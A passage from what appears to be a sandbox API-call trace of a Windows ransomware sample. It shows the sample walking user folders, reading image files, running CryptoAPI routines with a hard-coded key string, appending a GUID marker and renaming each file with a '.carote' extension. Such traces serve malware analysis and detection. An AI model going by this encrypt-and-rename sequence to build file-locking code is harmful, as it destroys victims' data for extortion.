hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.373] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.373] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.373] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.373] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.373] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.373] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.373] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.373] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.373] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.373] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.373] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.373] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.373] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.373] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.373] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.373] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.373] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.373] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.373] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.373] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.373] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.373] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.373] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.373] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.373] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.374] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.374] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0112.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.374] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0112.374] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.374] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.374] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.374] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.374] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.374] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0112.374] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.374] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.374] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.374] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0112.374] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.374] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.374] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.375] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0112.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0112.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.375] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.375] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.375] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.375] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0112.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.375] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.375] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.375] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.375] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.375] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.375] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0112.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0112.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf78 | out: hHeap=0x5010000) returned 1 [0112.375] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf78 [0112.375] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\") returned="My Documents\\" [0112.375] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.375] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.375] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0112.375] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.376] PathFindFileNameW (pszPath="") returned="" [0112.376] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20cead50, ftCreationTime.dwHighDateTime=0x1d4cd15, ftLastAccessTime.dwLowDateTime=0x7d1a6380, ftLastAccessTime.dwHighDateTime=0x1d4d484, ftLastWriteTime.dwLowDateTime=0x7d1a6380, ftLastWriteTime.dwHighDateTime=0x1d4d484, nFileSizeHigh=0x0, nFileSizeLow=0x86de, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="y-NLxTIvwMCOP.m4a", cAlternateFileName="Y-NLXT~1.M4A")) returned 0xffffffff [0112.376] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0112.376] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0112.376] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\") returned="NetHood\\" [0112.376] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.376] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.376] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.376] PathFindFileNameW (pszPath="") returned="" [0112.376] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20cead50, ftCreationTime.dwHighDateTime=0x1d4cd15, ftLastAccessTime.dwLowDateTime=0x7d1a6380, ftLastAccessTime.dwHighDateTime=0x1d4d484, ftLastWriteTime.dwLowDateTime=0x7d1a6380, ftLastWriteTime.dwHighDateTime=0x1d4d484, nFileSizeHigh=0x0, nFileSizeLow=0x86de, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="y-NLxTIvwMCOP.m4a", cAlternateFileName="Y-NLXT~1.M4A")) returned 0xffffffff [0112.376] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0112.376] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0112.377] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0112.377] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0112.377] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0112.377] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.377] PathFindFileNameW (pszPath="") returned="" [0112.377] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9c1c6700, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0x9c1c6700, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0112.377] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9c1c6700, ftLastAccessTime.dwHighDateTime=0x1d55a45, ftLastWriteTime.dwLowDateTime=0x9c1c6700, ftLastWriteTime.dwHighDateTime=0x1d55a45, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.377] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x167ebd30, ftCreationTime.dwHighDateTime=0x1d4c613, ftLastAccessTime.dwLowDateTime=0x6d6ab8f0, ftLastAccessTime.dwHighDateTime=0x1d4c7d1, ftLastWriteTime.dwLowDateTime=0x6d6ab8f0, ftLastWriteTime.dwHighDateTime=0x1d4c7d1, nFileSizeHigh=0x0, nFileSizeLow=0x11310, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AmzvjcI0hTMGaxNNz.jpg", cAlternateFileName="AMZVJC~1.JPG")) returned 1 [0112.377] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\AmzvjcI0hTMGaxNNz.jpg") returned=".jpg" [0112.377] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\AmzvjcI0hTMGaxNNz.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\amzvjci0htmgaxnnz.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.378] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=70416) returned 1 [0112.378] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.380] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x112ea, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.380] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.381] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x11310, lpOverlapped=0x0) returned 1 [0112.384] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.384] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.384] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.384] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecc60) returned 1 [0112.385] CryptCreateHash (in: hProv=0x50ecc60, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.385] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.385] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.385] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.385] GetLastError () returned 0x0 [0112.385] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.385] CryptReleaseContext (hProv=0x50ecc60, dwFlags=0x0) returned 1 [0112.386] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x11310, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.386] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.386] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.386] CloseHandle (hObject=0x61c) returned 1 [0112.387] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\AmzvjcI0hTMGaxNNz.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\amzvjci0htmgaxnnz.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\AmzvjcI0hTMGaxNNz.jpg.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\amzvjci0htmgaxnnz.jpg.carote")) returned 1 [0112.388] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0112.388] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\desktop.ini") returned=".ini" [0112.388] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c38d350, ftCreationTime.dwHighDateTime=0x1d4c6bf, ftLastAccessTime.dwLowDateTime=0x2dc34680, ftLastAccessTime.dwHighDateTime=0x1d4d178, ftLastWriteTime.dwLowDateTime=0x2dc34680, ftLastWriteTime.dwHighDateTime=0x1d4d178, nFileSizeHigh=0x0, nFileSizeLow=0x146a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fnUjM6bZhIti0vgC fCV.png", cAlternateFileName="FNUJM6~1.PNG")) returned 1 [0112.388] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fnUjM6bZhIti0vgC fCV.png") returned=".png" [0112.388] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fnUjM6bZhIti0vgC fCV.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fnujm6bzhiti0vgc fcv.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.389] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=83616) returned 1 [0112.389] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.390] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x1467a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.390] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.392] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x146a0, lpOverlapped=0x0) returned 1 [0112.393] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.393] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.393] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.393] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecc60) returned 1 [0112.393] CryptCreateHash (in: hProv=0x50ecc60, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.394] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.394] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.394] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.394] GetLastError () returned 0x0 [0112.394] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.394] CryptReleaseContext (hProv=0x50ecc60, dwFlags=0x0) returned 1 [0112.394] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x146a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.394] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0112.394] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0112.395] CloseHandle (hObject=0x61c) returned 1 [0112.396] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fnUjM6bZhIti0vgC fCV.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fnujm6bzhiti0vgc fcv.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\fnUjM6bZhIti0vgC fCV.png.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\fnujm6bzhiti0vgc fcv.png.carote")) returned 1 [0112.397] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a1ec260, ftCreationTime.dwHighDateTime=0x1d4c5fb, ftLastAccessTime.dwLowDateTime=0xd86fcc60, ftLastAccessTime.dwHighDateTime=0x1d4ce09, ftLastWriteTime.dwLowDateTime=0xd86fcc60, ftLastWriteTime.dwHighDateTime=0x1d4ce09, nFileSizeHigh=0x0, nFileSizeLow=0xeb5a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hoFR8_x Tu2XGiHDqM.gif", cAlternateFileName="HOFR8_~1.GIF")) returned 1 [0112.397] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\hoFR8_x Tu2XGiHDqM.gif") returned=".gif" [0112.397] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\hoFR8_x Tu2XGiHDqM.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\hofr8_x tu2xgihdqm.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0112.398] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=60250) returned 1 [0112.398] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0112.399] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xeb34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.399] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0112.401] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0xeb5a, lpOverlapped=0x0) returned 1 [0112.401] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.401] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.401] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0112.401] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecc60) returned 1 [0112.402] CryptCreateHash (in: hProv=0x50ecc60, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0112.402] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0112.402] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0112.402] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0112.402] GetLastError () returned 0x0 [0112.402] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0112.402] CryptReleaseContext (hProv=0x50ecc60, dwFlags=0x0) returned 1 [0112.403] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0xeb5a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.403] lstrlenA 